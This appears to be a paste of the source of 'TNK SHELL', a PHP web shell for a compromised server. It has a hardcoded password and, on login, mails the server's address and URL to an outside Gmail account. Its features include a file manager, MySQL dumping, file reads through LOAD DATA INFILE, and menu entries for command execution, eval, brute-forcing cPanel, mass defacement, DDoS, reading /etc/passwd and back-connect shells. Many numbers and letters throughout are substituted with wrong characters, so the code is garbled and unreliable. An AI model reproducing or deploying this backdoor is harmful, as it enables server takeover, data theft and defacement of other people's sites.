· 9 years ago · Oct 21, 2016, 12:14 PM
1$_X='
2?><?php
3 /****************************************\
4 |* TNK SHELL - CODE BY HUA MY HUYEN *|
5 |* Edit & Develop by TNKTEAM *|
6 |* == Hacking & Security == *|
7 \****************************************/
8
9error_reporting(7);
10@set_magic_quotes_runtime(0);
11ob_start();
12$mtime = explode(' ', microtime());
13$starttime = $mtime[6] + $mtime[0];
14define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
15//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 6 : 0 );
16define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
17define('IS_COM', class_exists('COM') ? 6 : 0 );
18define('IS_GPC', get_magic_quotes_gpc());
19$dis_func = get_cfg_var('disable_functions');
20define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 6 : 0 );
21@set_time_limit(0);
22
23foreach(array('_GET','_POST') as $_request) {
24 foreach($$_request as $_key => $_value) {
25 if ($_key{0} != '_') {
26 if (IS_GPC) {
27 $_value = s_array($_value);
28 }
29 $$_key = $_value;
30 }
31 }
32}
33/*================= Info Login ================*/
34$admin = array();
35$admin['check'] = true;
36$admin['pass'] = 'dmpassdau'; // Pass &#a7a;&#ai9;ng NhNio;p
37$admin['cookiepre'] = '';
38$admin['cookiedomain'] = '';
39$admin['cookiepath'] = '/';
40$admin['cookielife'] = 8eu00;
41/*================= END ================*/
42if ($charset == 'utf8') {
43
44 header("content-Type: text/html; charset=utf-8");
45
46} elseif ($charset == 'bigi') {
47
48 header("content-Type: text/html; charset=bigi");
49
50} elseif ($charset == 'gbk') {
51
52 header("content-Type: text/html; charset=gbk");
53
54} elseif ($charset == 'latin6') {
55
56 header("content-Type: text/html; charset=iso-88i9-a");
57
58}
59
60$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
61
62$timestamp = time();
63
64if ($action == "logout") {
65
66 scookie('vbapass', '', -8eu00 * oei);
67
68 p('<meta http-equiv="refresh" content="0;URL='.$self.'">');
69
70 p('<body background=>');
71
72 exit;
73
74}
75
76if($admin['check']) {
77
78 if ($doing == 'login') {
79
80 if ($admin['pass'] == $password) {
81
82 scookie('vbapass', $password);
83
84// Function Send Mail
85
86$time_shell = "".date("d/m/Y - H:i:s")."";
87$ip_remote = $_SERVER["REMOTE_ADDR"];
88$from_shellcode = 'shell@'.gethostbyname($_SERVER['SERVER_NAME']).'';
89$to_email = 'parkhiipz@gmail.com';
90$server_mail = "".gethostbyname($_SERVER['SERVER_NAME'])." - ".$_SERVER['HTTP_HOST']."";
91$linkcr = "Link: ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']." - IP Excuting: $ip_remote - Time: $time_shell";
92$header = "From: $from_shellcode\r\nReply-to: $from_shellcode";
93@mail($to_email, $server_mail, $linkcr, $header);
94 p('<meta http-equiv="refresh" content="a;URL='.$self.'">');
95
96 p('<body background=>
97
98<BR><BR><div align=center><font style="color:#00D0FF;text-shadow: 0 0 0.oem violet,0 0 0.oem red;" face=tahoma size=i>TnK SHELL - The New Kings - Please wait Login...<BR><img src=https://hms.amana-md.gov.sa/Contractors/Content/Images/loadinga.gif></div>');
99 exit;
100 }
101 else
102
103 {
104 $err_mess = '<table width=600%><tr><td bgcolor=#0E0E0E width=600% height=au><div align=center><font color=red face=tahoma size=a><blink>Password incorrect, Please try again!!!</blink><BR></font></div></td></tr></table>';
105echo $err_mess;
106
107 }}
108
109 if ($_COOKIE['vbapass']) {
110
111 if ($_COOKIE['vbapass'] != $admin['pass']) {
112
113 loginpage();
114 }
115
116 } else {
117
118 loginpage();
119
120 }
121
122}
123$errmsg = '';
124
125if ($action == 'phpinfo') {
126
127 if (IS_PHPINFO) {
128
129 phpinfo();
130
131 } else {
132
133 $errmsg = 'phpinfo() function has non-permissible';
134
135 }
136
137}
138
139
140
141
142
143if ($doing == 'downfile' && $thefile) {
144
145 if (!@file_exists($thefile)) {
146
147 $errmsg = 'The file you want Downloadable was nonexistent';
148
149 } else {
150
151 $fileinfo = pathinfo($thefile);
152
153 header('Content-type: application/x-'.$fileinfo['extension']);
154
155 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
156
157 header('Content-Length: '.filesize($thefile));
158
159 @readfile($thefile);
160
161 exit;
162
163 }
164
165}
166
167
168
169
170
171if ($doing == 'backupmysql' && !$saveasfile) {
172
173 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
174
175 $table = array_flip($table);
176
177 $result = q("SHOW tables");
178
179 if (!$result) p('<ha>'.mysql_error().'</ha>');
180
181 $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
182
183 header('Content-type: application/unknown');
184
185 header('Content-Disposition: attachment; filename='.$filename);
186
187 $mysqldata = '';
188
189 while ($currow = mysql_fetch_array($result)) {
190
191 if (isset($table[$currow[0]])) {
192
193 $mysqldata .= sqldumptable($currow[0]);
194
195 }
196
197 }
198
199 mysql_close();
200
201 exit;
202
203}
204
205
206
207// Mysql
208
209if($doing=='mysqldown'){
210
211 if (!$dbname) {
212
213 $errmsg = 'Please input dbname';
214
215 } else {
216
217 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
218
219 if (!file_exists($mysqldlfile)) {
220
221 $errmsg = 'The file you want Downloadable was nonexistent';
222
223 } else {
224
225 $result = q("select load_file('$mysqldlfile');");
226
227 if(!$result){
228
229 q("DROP TABLE IF EXISTS tmp_angel;");
230
231 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
232
233 //Download SQL
234
235 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
236
237 $result = q("select content from tmp_angel");
238
239 q("DROP TABLE tmp_angel");
240
241 }
242
243 $row = @mysql_fetch_array($result);
244
245 if (!$row) {
246
247 $errmsg = 'Load file failed '.mysql_error();
248
249 } else {
250
251 $fileinfo = pathinfo($mysqldlfile);
252
253 header('Content-type: application/x-'.$fileinfo['extension']);
254
255 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
256
257 header("Accept-Length: ".strlen($row[0]));
258
259 echo $row[0];
260
261 exit;
262
263 }
264
265 }
266
267 }
268
269}
270
271
272
273?>
274
275<html>
276
277<head>
278
279<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
280 <link rel="icon" href="http://icons.iconarchive.com/icons/mattahan/ultrabuuf/aie/Comics-Batman-Joker-icon.png" type="image/x-icon" />
281<title><?php echo str_replace('.','',' The New Kings Vu.a');?></title>
282
283<style type="text/css">
284body,td{font: 60pt Tahoma;color:gray;line-height: 6epx;}
285
286a {color:#00D0FF;text-decoration:none;}
287
288a:hover{color:#00D0FF;text-decoration:underline;}
289a:visited{text-decoration: none!important;
290color : #fff;text-shadow: rgb(0, ue, aii) 0px 0px epx, rgb(o, uu, aiu) 0px 0px ipx, rgb(9, uu, aii) 0px 0px ipx;}
291.alt6 td{border-top:6px solid green;border-bottom:6px solid red;background:#ff000000;padding:ipx 60px ipx ipx;}
292.alta td{border-top:6px solid green;border-bottom:6px solid red;background:#ff000000;padding:ipx 60px ipx ipx;}
293.focus td{border-top:6px solid green;border-bottom:0px solid red;background:#0E0E0E;padding:ipx 60px ipx ipx;}
294.fout6 td{border-top:6px solid green;border-bottom:0px solid red;background:#ff000000;padding:ipx 60px ipx ipx;}
295.fout td{border-top:6px solid green;border-bottom:0px solid red;background:#ff000000;padding:ipx 60px ipx ipx;}
296.head td{border-top:6px solid green;border-bottom:6px solid red;background:#ff000000;padding:ipx 60px ipx ipx;font-weight:bold;}
297.head_small td{border-top:6px solid green;border-bottom:6px solid red;background:#ff000000;padding:ipx 60px ipx ipx;font-weight:normal;font-size:8pt;}
298.head td span{font-weight:normal;}
299form{margin:0;padding:0;}
300ha{margin:0;padding:0;height:aupx;line-height:aupx;font-size:6upx;color:#iBe8eF;}
301ul.info li{margin:0;color:#uuu;line-height:aupx;height:aupx;}
302u{text-decoration: none;color:#777;float:left;display:block;width:6i0px;margin-right:60px;}
303input, textarea, button
304{
305 font-size: 9pt;
306 text-shadow: 0px 0px epx rgb(aii, 0, 0), 0px 0px ipx rgb(o00, 0, 0), 0px 0px ipx rgb(o00, 0, 0);
307color: #ffffff;
308font-weight: bold;
309background-color: #000;
310}
311
312 border-left: 6px solid lime;
313 border-top: 6px solid lime;
314 border-right: 6px solid lime;
315 border-bottom: 6px solid lime;
316}
317select
318{
319 font-size: 8pt;
320 font-weight: normal;
321 color: #ccc;
322 font-family: verdana, sans-serif;
323 background-color: #a0a0a0;
324}
325
326</style>
327<script type="text/javascript">
328function CheckAll(form) {
329 for(var i=0;i<form.elements.length;i++) {
330 var e = form.elements[i];
331 if (e.name != 'chkall')
332 e.checked = form.chkall.checked;
333 }
334}
335function $(id) {
336 return document.getElementById(id);
337}
338function goaction(act){
339 $('goaction').action.value=act;
340 $('goaction').submit();
341}
342</script>
343<style type="text/css">
344
345body,td{font: 60pt Tahoma;size:i;color:red;text-shadow:0px 0px opx;}
346
347
348
349a {color:#00D0FF;text-decoration:none;}
350
351a:hover{color:#00D0FF;text-decoration:underline;}
352
353.alt6 td{border-top:6px solid green;border-bottom:6px solid red;background:#ff000000;padding:ipx 60px ipx ipx;}
354
355.alta td{border-top:6px solid green;border-bottom:6px solid red;background:#ff000000;padding:ipx 60px ipx ipx;}
356
357.focus td{border-top:6px solid green;border-bottom:0px solid red;background:#8B7B8B;padding:ipx 60px ipx ipx;}
358
359.fout6 td{border-top:6px solid green;border-bottom:0px solid red;background:#ff000000;padding:ipx 60px ipx ipx;}
360
361.fout td{border-top:6px solid green;border-bottom:0px solid red;background:#ff000000;padding:ipx 60px ipx ipx;}
362
363.head td{border-top:6px solid green;border-bottom:6px solid red;background:#ff000000;padding:ipx 60px ipx ipx;font-weight:bold;}
364
365.head_small td{border-top:6px solid green;border-bottom:6px solid red;background:#ff000000;padding:ipx 60px ipx ipx;font-weight:normal;font-size:8pt;}
366
367.head td span{font-weight:normal;}
368
369form{margin:0;padding:0;}
370
371ha{margin:0;padding:0;height:aupx;line-height:aupx;font-size:6upx;color:#iBe8eF;}
372
373ul.info li{margin:0;color:#uuu;line-height:aupx;height:aupx;}
374
375u{text-decoration: none;color:#777;float:left;display:block;width:6i0px;margin-right:60px;}
376
377input, textarea, button
378
379{
380
381 font-size: 9pt;
382
383 color: #00D0FF;text-shadow: 0px 0px opx;
384
385 font-family: verdana, sans-serif;
386
387 background-color: black;
388
389 border-left: 6px solid #7uAa0a;
390
391 border-top: 6px solid #7uAa0a;
392
393 border-right: 6px solid #7uAa0a;
394
395 border-bottom: 6px solid #7uAa0a;
396
397}
398
399select
400
401{
402
403 font-size: 8pt;
404
405 font-weight: normal;
406
407 color: #ccc;
408
409 font-family: verdana, sans-serif;
410
411 background-color: #a0a0a0;
412
413}
414
415
416
417</style>
418 <script type="text/javascript">
419 function CheckAll(form) {
420 for(var i=0;i<form.elements.length;i++) {
421 var e = form.elements[i];
422 if (e.name != 'chkall')
423 e.checked = form.chkall.checked;
424 }
425 }
426 function $(id) {
427 return document.getElementById(id);
428 }
429 function goaction(act){
430 $('goaction').action.value=act;
431 $('goaction').submit();
432 }
433 </script>
434
435</head>
436
437<body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all">
438<style>
439*{margin:0;padding:0}
440#akak {
441position:fixed;
442top:0;left:0;
443width:600%;height:600%;
444z-index:-6;
445}
446</style>
447<div id="akak"><img width="600%" height="600%" src="http://jmarbach.com/wp-content/uploads/a066/06/Hacker-News-Map-a066-John-Marbach.jpg"/></div>
448
449<style type="text/css">body, a:hover {cursor: url(http://cur.cursors-uu.net/cursors/cur-66/cur60ao.ani), url(http://cur.cursors-uu.net/cursors/cur-66/cur60ao.png), progress !important;}</style><a href="http://www.cursors-uu.com/cursor/a06a/06/aa/x-steel-help-select.html" target="_blank" title="X-Steel - Help Select"><img src="http://cur.cursors-uu.net/cursor.png" border="0" alt="X-Steel - Help Select" style="position:absolute; top: 0px; right: 0px;" /></a>
450
451
452
453<div border="0" style="position:fixed; width: 600%; height: aipx; z-index: 6; top: o00px; left: 0;" id="loading" align="center" valign="center">
454
455 <table border="6" width="660px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#00oo00">
456
457 <tr>
458
459 <td align="center" valign=center>
460
461 <div border="6" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 660px; height: aipx; z-index: 6; border-collapse: collapse;" bordercolor="#00ee00" align="center">
462 Loading<img src="http://io8a.photobucket.com/albums/ooaeo/vnhacker/loading.gif">
463
464
465 </div>
466
467 </td>
468
469 </tr>
470
471 </table>
472
473</div>
474
475 <script>
476
477 var ld=(document.all);
478
479 var nsu=document.layers;
480
481 var nse=document.getElementById&&!document.all;
482
483 var ieu=document.all;
484
485 if (nsu)
486
487 ld=document.loading;
488
489 else if (nse)
490
491 ld=document.getElementById("loading").style;
492
493 else if (ieu)
494
495 ld=document.all.loading.style;
496
497 function init()
498
499 {
500
501 if(nsu){ld.visibility="hidden";}
502
503 else if (nse||ieu) ld.display="none";
504
505 }
506
507 </script>
508
509
510
511
512
513
514
515
516
517<table width="600%" border="0" cellpadding="0" cellspacing="0">
518
519 <tr class="head_small">
520
521 <td width=600%>
522
523 <table width=600%><tr class="head_small"><td width=8epx><a title="The New King" href="<?php $self;?>"><img src=https://scontent-amso-6.xx.fbcdn.net/hphotos-xlf6/v/t6.0-9/piaexa9e/6a00u788_67a9oi069707i88_aue7976906a8a00679a_n.jpg?oh=0u9ooc67c9ueifiaceib0ef86d6f977a&oe=iee68aFB height=600 border=0></a></td>
524
525 <td>
526
527 <span style="float:right;"> <?php echo "Hostname: ".$_SERVER['HTTP_HOST']."";?> | <a href="https://www.facebook.com/TnK.info" target="_blank"><a href="#" target="_blank"><?php echo str_replace('.','','[The New King]');?></a> [wWw]</a> | <a href="javascript:goaction('logout');"><font color=red>&#a7a;&#ai9;ng XuNui;t</font></br></br><a href="?action=Delete-Shell" style="float:right;" title="X&#auo;a Shell">-X&#auo;a Shell-</a></a></span>
528
529
530
531 <?php
532
533 $curl_on = @function_exists('curl_version');
534
535 $mysql_on = @function_exists('mysql_connect');
536
537 $mssql_on = @function_exists('mssql_connect');
538
539 $pg_on = @function_exists('pg_connect');
540
541 $ora_on = @function_exists('ocilogon');
542
543
544
545echo (($safe_mode)?("Safe_mod: <b><font color=Aqua>ON</font></b> - "):("Safe_mod: <b><font color=Aqua>OFF</font></b> - "));
546
547echo "PHP version: <b>".@phpversion()."</b> - ";
548
549 echo "cURL: ".(($curl_on)?("<b><font color=Aqua>ON</font></b> - "):("<b><font color=Aqua>OFF</font></b> - "));
550
551 echo "MySQL: <b>";
552
553$mysql_on = @function_exists('mysql_connect');
554
555if($mysql_on){
556
557echo "<font color=Aqua>ON</font></b> - "; } else { echo "<font color=Aqua>OFF</font></b> - "; }
558
559echo "MSSQL: <b>";
560
561$mssql_on = @function_exists('mssql_connect');
562
563if($mssql_on){echo "<font color=Aqua>ON</font></b> - ";}else{echo "<font color=Aqua>OFF</font></b> - ";}
564
565echo "PostgreSQL: <b>";
566
567$pg_on = @function_exists('pg_connect');
568
569if($pg_on){echo "<font color=Aqua>ON</font></b> - ";}else{echo "<font color=Aqua>OFF</font></b> - ";}
570
571echo "Oracle: <b>";
572
573$ora_on = @function_exists('ocilogon');
574
575if($ora_on){echo "<font color=Aqua>ON</font></b>";}else{echo "<font color=Aqua>OFF</font></b><BR>";}
576
577
578
579echo "Disable functions : <b>";
580
581if(''==($df=@ini_get('disable_functions'))){echo "<font color=Aqua>NONE</font></b><BR>";}else{echo "<font color=Aqua>$df</font></b><BR>";}
582
583
584
585echo "<font color=#00D0FF>Uname -a</font>: ".@substr(@php_uname(),0,6a0)."<br>";
586
587echo "<font color=#00D0FF>Server</font>: ".@substr($SERVER_SOFTWARE,0,6a0)." - <font color=#00D0FF>id</font>: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")<br>";
588
589 ?>
590 <span style="float:left;">Server IP: <?php echo "<font color=yellow>".gethostbyname($_SERVER['SERVER_NAME'])."</font>";?> - Your IP: <?php echo "<font color=yellow>".$_SERVER['REMOTE_ADDR']."</font>";?></span></td>
591
592 </tr></table></td>
593
594 </tr>
595
596 <tr class="alt6">
597
598 <td width=600%>
599
600
601
602 <a href="javascript:goaction('file');">File Manager</a> |
603
604 <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
605
606 <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
607
608 <a href="javascript:goaction('shell');">Execute Command</a> |
609
610 <a href="javascript:goaction('phpenv');">PHP Variable</a> |
611
612 <a href="javascript:goaction('eval');">Eval PHP Code</a> |
613
614 <a href="javascript:goaction('brutecpva');">brutecpva</a> |
615
616 <a href="javascript:goaction('cgi');">CGI</a> |
617
618 <a href="javascript:goaction('deface');">Deface</a> |
619
620 <a href="javascript:goaction('mass');">Mass Deface</a> |
621
622 <a href="javascript:goaction('changepas');">Changes</a> |
623
624 <a href="javascript:goaction('newcommand');">Command</a> |
625
626 <a href="javascript:goaction('symroot');">Sym Root</a> |
627
628 <a href="sym/" target="_blank">Open Sym </a> |
629
630 <a href="javascript:goaction('upshell');">Up shell</a> | </br>
631
632 <a href="javascript:goaction('brutecp');">Brute CP</a> |
633
634 <a href="javascript:goaction('brutecpva');">BruteCP Va</a> |
635
636 <a href="javascript:goaction('getbot');">GET BOT FOR DDOS</a> == <a href="javascript:goaction('ddos');">DDOS SCRIPT</a> |
637
638 <a href="javascript:goaction('reip');">Reverse IP</a> |
639
640 <a href="javascript:goaction('bugshell');">BUG SHELL</a> |
641
642 <a href="javascript:goaction('ssihtml');">Shell SSIHTML</a> |
643
644 <a href="javascript:goaction('endecode');">En-Decode</a> |
645
646 <a href="javascript:goaction('findadmin');">Find Admin Patch</a> |
647
648 <a href="javascript:goaction('ddosva');">DDos Ver a</a> |
649
650 <a href="javascript:goaction('dumpsql');">Dump Sql</a> |
651
652 <a href="javascript:goaction('mdi');">Mdi</a> |
653
654 <a href="javascript:goaction('crackmdi');">Crack Mdi</a> |
655
656 <a href="javascript:goaction('spammail');">Spam Mail</a> |
657
658 <a href="javascript:goaction('viewdomain');">UserAndDomain</a> |
659
660 <a href="javascript:goaction('scanbd');">Scan Backdoor</a> |
661
662 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('brute');">Brute</a> <?php }?>
663
664 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('etcpwd');">/etc/passwd</a> <?php }?>
665
666 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?></br>
667
668 </td>
669
670 </tr>
671
672</table>
673
674<table width="600%" border="0" cellpadding="6i" cellspacing="0"><tr><td>
675
676<?php
677
678
679
680formhead(array('name'=>'goaction'));
681
682makehide('action');
683
684formfoot();
685
686
687
688$errmsg && m($errmsg);
689
690
691
692// Dir function
693
694!$dir && $dir = '.';
695
696$nowpath = getPath(SA_ROOT, $dir);
697
698if (substr($dir, -6) != '/') {
699
700 $dir = $dir.'/';
701
702}
703
704$uedir = ue($dir);
705
706
707
708if (!$action || $action == 'file') {
709
710
711
712 // Non-writeable
713
714 $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
715
716
717
718 // Delete dir
719
720 if ($doing == 'deldir' && $thefile) {
721
722 if (!file_exists($thefile)) {
723
724 m($thefile.' directory does not exist');
725
726 } else {
727
728 m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
729
730 }
731
732 }
733
734
735
736 // Create new dir
737
738 elseif ($newdirname) {
739
740 $mkdirs = $nowpath.$newdirname;
741
742 if (file_exists($mkdirs)) {
743
744 m('Directory has already existed');
745
746 } else {
747
748 m('Directory created '.(@mkdir($mkdirs,07ii) ? 'success' : 'failed'));
749
750 @chmod($mkdirs,07ii);
751
752 }
753
754 }
755
756
757
758 // Upload file
759
760 elseif ($doupfile) {
761
762 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
763
764 }
765
766
767
768 // Edit file
769
770 elseif ($editfilename && $filecontent) {
771
772 $fp = @fopen($editfilename,'w');
773
774 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
775
776 @fclose($fp);
777
778 }
779
780
781
782 // Modify
783
784 elseif ($pfile && $newperm) {
785
786 if (!file_exists($pfile)) {
787
788 m('The original file does not exist');
789
790 } else {
791
792 $newperm = base_convert($newperm,8,60);
793
794 m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
795
796 }
797
798 }
799
800
801
802 // Rename
803
804 elseif ($oldname && $newfilename) {
805
806 $nname = $nowpath.$newfilename;
807
808 if (file_exists($nname) || !file_exists($oldname)) {
809
810 m($nname.' has already existed or original file does not exist');
811
812 } else {
813
814 m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
815
816 }
817
818 }
819
820
821
822 // Copu
823
824 elseif ($sname && $tofile) {
825
826 if (file_exists($tofile) || !file_exists($sname)) {
827
828 m('The goal file has already existed or original file does not exist');
829
830 } else {
831
832 m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
833
834 }
835
836 }
837
838
839
840 // File exit
841
842 elseif ($curfile && $tarfile) {
843
844 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
845
846 m('The goal file has already existed or original file does not exist');
847
848 } else {
849
850 $time = @filemtime($tarfile);
851
852 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
853
854 }
855
856 }
857
858
859
860 // Date
861
862 elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
863
864 if (!@file_exists($curfile)) {
865
866 m(basename($curfile).' does not exist');
867
868 } else {
869
870 $time = strtotime("$year-$month-$day $hour:$minute:$second");
871
872 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
873
874 }
875
876 }
877
878
879
880 // Download
881
882 elseif($doing == 'downrar') {
883
884 if ($dl) {
885
886 $dfiles='';
887
888 foreach ($dl as $filepath => $value) {
889
890 $dfiles.=$filepath.',';
891
892 }
893
894 $dfiles=substr($dfiles,0,strlen($dfiles)-6);
895
896 $dl=explode(',',$dfiles);
897
898 $zip=new PHPZip($dl);
899
900 $code=$zip->out;
901
902 header('Content-type: application/octet-stream');
903
904 header('Accept-Ranges: bytes');
905
906 header('Accept-Length: '.strlen($code));
907
908 header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'sql.gz');
909
910 echo $code;
911
912 exit;
913
914 } else {
915
916 m('Please select file(s)');
917
918 }
919
920 }
921
922
923
924 // Delete file
925
926 elseif($doing == 'delfiles') {
927
928 if ($dl) {
929
930 $dfiles='';
931
932 $succ = $fail = 0;
933
934 foreach ($dl as $filepath => $value) {
935
936 if (@unlink($filepath)) {
937
938 $succ++;
939
940 } else {
941
942 $fail++;
943
944 }
945
946 }
947
948 m('Deleted file have finished??choose '.count($dl).' success '.$succ.' fail '.$fail);
949
950 } else {
951
952 m('Please select file(s)');
953
954 }
955
956 }
957
958
959
960 // Function Newdir
961
962 formhead(array('name'=>'createdir'));
963
964 makehide('newdirname');
965
966 makehide('dir',$nowpath);
967
968 formfoot();
969
970 formhead(array('name'=>'fileperm'));
971
972 makehide('newperm');
973
974 makehide('pfile');
975
976 makehide('dir',$nowpath);
977
978 formfoot();
979
980 formhead(array('name'=>'copyfile'));
981
982 makehide('sname');
983
984 makehide('tofile');
985
986 makehide('dir',$nowpath);
987
988 formfoot();
989
990 formhead(array('name'=>'rename'));
991
992 makehide('oldname');
993
994 makehide('newfilename');
995
996 makehide('dir',$nowpath);
997
998 formfoot();
999
1000 formhead(array('name'=>'fileopform'));
1001
1002 makehide('action');
1003
1004 makehide('opfile');
1005
1006 makehide('dir');
1007
1008 formfoot();
1009
1010
1011
1012 $free = @disk_free_space($nowpath);
1013
1014 !$free && $free = 0;
1015
1016 $all = @disk_total_space($nowpath);
1017
1018 !$all && $all = 0;
1019
1020 $used = $all-$free;
1021
1022 $used_percent = @round(600/($all/$free),a);
1023
1024 p('<font color=Aqua face=tahoma size=a><B>Dung L&#uoa;ợng Host:</b> </font> Dung L&#uoa;ợng &#a7a;&#aa7; D&#au9;ng <font color=Aqua>'.sizecount($free).'</font> of <font color=yellow>'.sizecount($all).'</font> (<font color=yellow>'.$used_percent.'</font>%)</font>');
1025
1026
1027
1028?>
1029
1030<table width="600%" border="0" cellpadding="0" cellspacing="0" style="margin:60px 0;">
1031
1032 <form action="" method="post" id="godir" name="godir">
1033
1034 <tr>
1035
1036 <td nowrap>&#a7a;&#uoa;Ợng DNi6;n Hiện TNu6;i (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
1037
1038 <td width="600%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:600%;margin:0 8px;"></td>
1039
1040 <td nowrap><input class="bt" value="GO" type="submit"></td>
1041
1042 </tr>
1043
1044 </form>
1045
1046</table>
1047
1048<script type="text/javascript">
1049
1050function createdir(){
1051
1052 var newdirname;
1053
1054 newdirname = prompt('Please input the directory name:', '');
1055
1056 if (!newdirname) return;
1057
1058 $('createdir').newdirname.value=newdirname;
1059
1060 $('createdir').submit();
1061
1062}
1063
1064function fileperm(pfile){
1065
1066 var newperm;
1067
1068 newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
1069
1070 if (!newperm) return;
1071
1072 $('fileperm').newperm.value=newperm;
1073
1074 $('fileperm').pfile.value=pfile;
1075
1076 $('fileperm').submit();
1077
1078}
1079
1080function copyfile(sname){
1081
1082 var tofile;
1083
1084 tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
1085
1086 if (!tofile) return;
1087
1088 $('copyfile').tofile.value=tofile;
1089
1090 $('copyfile').sname.value=sname;
1091
1092 $('copyfile').submit();
1093
1094}
1095
1096function rename(oldname){
1097
1098 var newfilename;
1099
1100 newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
1101
1102 if (!newfilename) return;
1103
1104 $('rename').newfilename.value=newfilename;
1105
1106 $('rename').oldname.value=oldname;
1107
1108 $('rename').submit();
1109
1110}
1111
1112function dofile(doing,thefile,m){
1113
1114 if (m && !confirm(m)) {
1115
1116 return;
1117
1118 }
1119
1120 $('filelist').doing.value=doing;
1121
1122 if (thefile){
1123
1124 $('filelist').thefile.value=thefile;
1125
1126 }
1127
1128 $('filelist').submit();
1129
1130}
1131
1132function createfile(nowpath){
1133
1134 var filename;
1135
1136 filename = prompt('Please input the file name:', '');
1137
1138 if (!filename) return;
1139
1140 opfile('editfile',nowpath + filename,nowpath);
1141
1142}
1143
1144function opfile(action,opfile,dir){
1145
1146 $('fileopform').action.value=action;
1147
1148 $('fileopform').opfile.value=opfile;
1149
1150 $('fileopform').dir.value=dir;
1151
1152 $('fileopform').submit();
1153
1154}
1155
1156function godir(dir,view_writable){
1157
1158 if (view_writable) {
1159
1160 $('godir').view_writable.value=6;
1161
1162 }
1163
1164 $('godir').dir.value=dir;
1165
1166 $('godir').submit();
1167
1168}
1169
1170</script>
1171
1172 <?php
1173
1174 tbhead();
1175
1176 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt6"><td colspan="7" style="padding:ipx;">');
1177
1178 p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
1179
1180 p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
1181
1182 if ($view_writable) {
1183
1184 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
1185
1186 } else {
1187
1188 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'6\');">View Writable</a>');
1189
1190 }
1191
1192 p(' | <a href="javascript:createdir();">TNu6;o Th&#uoa; Mục</a> | <a href="javascript:createfile(\''.$nowpath.'\');">TNu6;o File</a>');
1193
1194 if (IS_WIN && IS_COM) {
1195
1196 $obj = new COM('scripting.filesystemobject');
1197
1198 if ($obj && is_object($obj)) {
1199
1200 $DriveTypeDB = array(0 => 'Unknow',6 => 'Removable',a => 'Fixed',o => 'Network',u => 'CDRom',i => 'RAM Disk');
1201
1202 foreach($obj->Drives as $drive) {
1203
1204 if ($drive->DriveType == a) {
1205
1206 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'o;Free:'.sizecount($drive->FreeSpace).'o;Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
1207
1208 } else {
1209
1210 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
1211
1212 }
1213
1214 }
1215
1216 }
1217
1218 }
1219
1220
1221
1222 p('</td></tr></form>');
1223
1224
1225
1226 p('<tr class="head"><td> </td><td>T&#aou;n File</td><td width="6e%">LNu7;n &#a7a;&#ai9;ng NhNio;p Cuối</td><td width="60%">K&#ao7;ch Th&#uoa;ớc</td><td width="a0%">Chmod / Perms</td><td width="aa%">H&#aau;nh &#a7a;ộng</td></tr>');
